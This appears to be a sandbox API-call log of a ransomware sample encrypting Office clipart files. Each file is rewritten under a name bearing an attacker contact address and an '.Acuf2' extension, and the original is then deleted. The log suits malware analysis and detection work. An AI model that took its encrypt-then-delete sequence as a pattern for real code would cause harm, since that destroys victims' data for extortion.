	[0272.102] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101863.BMP.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101863.bmp.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0272.102] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101863.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101863.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218
	[0272.102] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0272.102] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0272.102] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101863.BMP.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101863.bmp.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0272.103] GetLastError () returned 0x0
	[0272.103] ReadFile (in: hFile=0x218, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c0fed4*=0x7db8, lpOverlapped=0x0) returned 1
	[0272.105] WriteFile (in: hFile=0x390, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0x7dc0, lpNumberOfBytesWritten=0x2c0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c0fc9c*=0x7dc0, lpOverlapped=0x0) returned 1
	[0272.106] ReadFile (in: hFile=0x218, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c0fed4*=0x0, lpOverlapped=0x0) returned 1
	[0272.106] WriteFile (in: hFile=0x390, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c0fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0272.106] SetEndOfFile (hFile=0x390) returned 1
	[0272.106] CloseHandle (hObject=0x390) returned 1
	[0272.106] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0272.106] SetEndOfFile (hFile=0x218) returned 1
	[0272.108] CloseHandle (hObject=0x218) returned 1
	[0272.108] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101863.BMP.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0272.109] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101863.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101863.bmp")) returned 1
	[0272.109] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101863.BMP") returned 63
	[0272.109] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101863.BMP") returned 63
	[0272.109] lstrlenW (lpString=".doc") returned 4
	[0272.109] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1
	[0272.109] lstrlenW (lpString=".docx") returned 5
	[0272.109] lstrcmpiW (lpString1=".docx", lpString2="3.BMP") returned -1
	[0272.109] lstrlenW (lpString=".pdf") returned 4
	[0272.109] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1
	[0272.109] lstrlenW (lpString=".xls") returned 4
	[0272.109] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1
	[0272.109] lstrlenW (lpString=".xlsx") returned 5
	[0272.109] lstrcmpiW (lpString1=".xlsx", lpString2="3.BMP") returned -1
	[0272.109] lstrlenW (lpString=".ppt") returned 4
	[0272.109] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1
	[0272.109] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101863.BMP") returned 63
	[0272.109] lstrlenW (lpString=".zip") returned 4
	[0272.109] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1
	[0272.109] lstrlenW (lpString=".rar") returned 4
	[0272.109] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1
	[0272.109] lstrlenW (lpString=".bz2") returned 4
	[0272.110] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1
	[0272.110] lstrlenW (lpString=".7z") returned 3
	[0272.110] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1
	[0272.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101863.BMP") returned 63
	[0272.110] lstrlenW (lpString=".dbf") returned 4
	[0272.110] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1
	[0272.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101863.BMP") returned 63
	[0272.110] lstrlenW (lpString=".1cd") returned 4
	[0272.110] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1
	[0272.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101863.BMP") returned 63
	[0272.110] lstrlenW (lpString=".jpg") returned 4
	[0272.110] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1
	[0272.110] GetFileSizeEx (in: hFile=0x218, lpFileSize=0x2c0ff1c | out: lpFileSize=0x2c0ff1c*=31968) returned 1
	[0272.110] CloseHandle (hObject=0x218) returned 1
	[0272.110] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101864.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101864.bmp")) returned 0x20
	[0272.110] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101864.BMP.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101864.bmp.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0272.111] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101864.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101864.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218
	[0272.111] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0272.111] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0272.111] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101864.BMP.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101864.bmp.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0272.111] GetLastError () returned 0x0
	[0272.111] ReadFile (in: hFile=0x218, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c0fed4*=0x7ce0, lpOverlapped=0x0) returned 1
	[0272.113] WriteFile (in: hFile=0x390, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0x7cf0, lpNumberOfBytesWritten=0x2c0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c0fc9c*=0x7cf0, lpOverlapped=0x0) returned 1
	[0272.114] ReadFile (in: hFile=0x218, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c0fed4*=0x0, lpOverlapped=0x0) returned 1
	[0272.114] WriteFile (in: hFile=0x390, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c0fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0272.114] SetEndOfFile (hFile=0x390) returned 1
	[0272.115] CloseHandle (hObject=0x390) returned 1
	[0272.115] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0272.115] SetEndOfFile (hFile=0x218) returned 1
	[0272.117] CloseHandle (hObject=0x218) returned 1
	[0272.117] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101864.BMP.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0272.117] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101864.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101864.bmp")) returned 1
	[0272.117] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101864.BMP") returned 63
	[0272.117] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101864.BMP") returned 63
	[0272.118] lstrlenW (lpString=".doc") returned 4
	[0272.118] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1
	[0272.118] lstrlenW (lpString=".docx") returned 5
	[0272.118] lstrcmpiW (lpString1=".docx", lpString2="4.BMP") returned -1
	[0272.118] lstrlenW (lpString=".pdf") returned 4
	[0272.118] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1
	[0272.118] lstrlenW (lpString=".xls") returned 4
	[0272.118] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1
	[0272.118] lstrlenW (lpString=".xlsx") returned 5
	[0272.118] lstrcmpiW (lpString1=".xlsx", lpString2="4.BMP") returned -1
	[0272.118] lstrlenW (lpString=".ppt") returned 4
	[0272.118] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1
	[0272.118] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101864.BMP") returned 63
	[0272.118] lstrlenW (lpString=".zip") returned 4
	[0272.118] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1
	[0272.118] lstrlenW (lpString=".rar") returned 4
	[0272.118] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1
	[0272.118] lstrlenW (lpString=".bz2") returned 4
	[0272.118] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1
	[0272.118] lstrlenW (lpString=".7z") returned 3
	[0272.118] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1
	[0272.118] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101864.BMP") returned 63
	[0272.118] lstrlenW (lpString=".dbf") returned 4
	[0272.118] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1
	[0272.118] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101864.BMP") returned 63
	[0272.118] lstrlenW (lpString=".1cd") returned 4
	[0272.118] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1
	[0272.118] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101864.BMP") returned 63
	[0272.118] lstrlenW (lpString=".jpg") returned 4
	[0272.118] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1
	[0272.119] GetFileSizeEx (in: hFile=0x218, lpFileSize=0x2c0ff1c | out: lpFileSize=0x2c0ff1c*=32184) returned 1
	[0272.119] CloseHandle (hObject=0x218) returned 1
	[0272.119] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101865.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101865.bmp")) returned 0x20
	[0272.119] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101865.BMP.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101865.bmp.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0272.119] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101865.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101865.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218
	[0272.119] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0272.119] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0272.119] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101865.BMP.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101865.bmp.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0272.120] GetLastError () returned 0x0
	[0272.120] ReadFile (in: hFile=0x218, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c0fed4*=0x7db8, lpOverlapped=0x0) returned 1
	[0272.361] WriteFile (in: hFile=0x390, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0x7dc0, lpNumberOfBytesWritten=0x2c0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c0fc9c*=0x7dc0, lpOverlapped=0x0) returned 1
	[0272.362] ReadFile (in: hFile=0x218, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c0fed4*=0x0, lpOverlapped=0x0) returned 1
	[0272.362] WriteFile (in: hFile=0x390, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c0fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0272.362] SetEndOfFile (hFile=0x390) returned 1
	[0272.363] CloseHandle (hObject=0x390) returned 1
	[0272.363] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0272.363] SetEndOfFile (hFile=0x218) returned 1
	[0272.365] CloseHandle (hObject=0x218) returned 1
	[0272.365] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101865.BMP.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0272.472] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101865.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101865.bmp")) returned 1
	[0272.473] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101865.BMP") returned 63
	[0272.473] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101865.BMP") returned 63
	[0272.473] lstrlenW (lpString=".doc") returned 4
	[0272.473] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1
	[0272.473] lstrlenW (lpString=".docx") returned 5
	[0272.473] lstrcmpiW (lpString1=".docx", lpString2="5.BMP") returned -1
	[0272.473] lstrlenW (lpString=".pdf") returned 4
	[0272.473] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1
	[0272.473] lstrlenW (lpString=".xls") returned 4
	[0272.473] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1
	[0272.473] lstrlenW (lpString=".xlsx") returned 5
	[0272.473] lstrcmpiW (lpString1=".xlsx", lpString2="5.BMP") returned -1
	[0272.473] lstrlenW (lpString=".ppt") returned 4
	[0272.473] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1
	[0272.473] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101865.BMP") returned 63
	[0272.473] lstrlenW (lpString=".zip") returned 4
	[0272.473] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1
	[0272.473] lstrlenW (lpString=".rar") returned 4
	[0272.473] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1
	[0272.473] lstrlenW (lpString=".bz2") returned 4
	[0272.473] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1
	[0272.473] lstrlenW (lpString=".7z") returned 3
	[0272.474] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1
	[0272.474] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101865.BMP") returned 63
	[0272.474] lstrlenW (lpString=".dbf") returned 4
	[0272.474] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1
	[0272.474] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101865.BMP") returned 63
	[0272.474] lstrlenW (lpString=".1cd") returned 4
	[0272.474] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1
	[0272.474] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101865.BMP") returned 63
	[0272.474] lstrlenW (lpString=".jpg") returned 4
	[0272.474] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1
	[0272.520] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0272.520] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0272.520] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105234.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105234.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328
	[0272.520] GetLastError () returned 0x0
	[0272.520] ReadFile (in: hFile=0x35c, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c0fed4*=0xd74, lpOverlapped=0x0) returned 1
	[0272.540] WriteFile (in: hFile=0x328, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0xd80, lpNumberOfBytesWritten=0x2c0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c0fc9c*=0xd80, lpOverlapped=0x0) returned 1
	[0272.541] ReadFile (in: hFile=0x35c, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c0fed4*=0x0, lpOverlapped=0x0) returned 1
	[0272.541] WriteFile (in: hFile=0x328, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c0fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0272.541] SetEndOfFile (hFile=0x328) returned 1
	[0272.541] CloseHandle (hObject=0x328) returned 1
	[0272.541] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0272.541] SetEndOfFile (hFile=0x35c) returned 1
	[0272.543] CloseHandle (hObject=0x35c) returned 1
	[0272.543] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105234.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0272.546] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105234.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105234.wmf")) returned 1
	[0272.550] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105234.WMF") returned 63
	[0272.550] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105234.WMF") returned 63
	[0272.550] lstrlenW (lpString=".doc") returned 4
	[0272.550] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0272.550] lstrlenW (lpString=".docx") returned 5
	[0272.550] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0272.550] lstrlenW (lpString=".pdf") returned 4
	[0272.550] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0272.550] lstrlenW (lpString=".xls") returned 4
	[0272.550] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0272.550] lstrlenW (lpString=".xlsx") returned 5
	[0272.550] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0272.550] lstrlenW (lpString=".ppt") returned 4
	[0272.550] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0272.550] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105234.WMF") returned 63
	[0272.550] lstrlenW (lpString=".zip") returned 4
	[0272.551] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0272.551] lstrlenW (lpString=".rar") returned 4
	[0272.551] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0272.551] lstrlenW (lpString=".bz2") returned 4
	[0272.551] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0272.551] lstrlenW (lpString=".7z") returned 3
	[0272.551] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0272.551] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105234.WMF") returned 63
	[0272.551] lstrlenW (lpString=".dbf") returned 4
	[0272.551] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0272.551] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105234.WMF") returned 63
	[0272.551] lstrlenW (lpString=".1cd") returned 4
	[0272.551] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0272.551] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105234.WMF") returned 63
	[0272.551] lstrlenW (lpString=".jpg") returned 4
	[0272.551] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0272.551] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x2c0ff1c | out: lpFileSize=0x2c0ff1c*=19328) returned 1
	[0272.551] CloseHandle (hObject=0x388) returned 1
	[0272.551] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105246.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105246.wmf")) returned 0x20
	[0272.552] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105246.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105246.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0272.552] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105246.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105246.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0272.552] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0272.552] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0272.552] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105246.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105246.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0272.566] GetLastError () returned 0x0
	[0272.567] ReadFile (in: hFile=0x388, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c0fed4*=0x4b80, lpOverlapped=0x0) returned 1
	[0272.570] WriteFile (in: hFile=0x35c, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0x4b90, lpNumberOfBytesWritten=0x2c0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c0fc9c*=0x4b90, lpOverlapped=0x0) returned 1
	[0272.571] ReadFile (in: hFile=0x388, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c0fed4*=0x0, lpOverlapped=0x0) returned 1
	[0272.571] WriteFile (in: hFile=0x35c, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c0fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0272.571] SetEndOfFile (hFile=0x35c) returned 1
	[0272.572] CloseHandle (hObject=0x35c) returned 1
	[0272.572] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0272.572] SetEndOfFile (hFile=0x388) returned 1
	[0272.574] CloseHandle (hObject=0x388) returned 1
	[0272.574] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105246.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0272.574] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105246.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105246.wmf")) returned 1
	[0272.574] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105246.WMF") returned 63
	[0272.574] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105246.WMF") returned 63
	[0272.574] lstrlenW (lpString=".doc") returned 4
	[0272.574] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0272.574] lstrlenW (lpString=".docx") returned 5
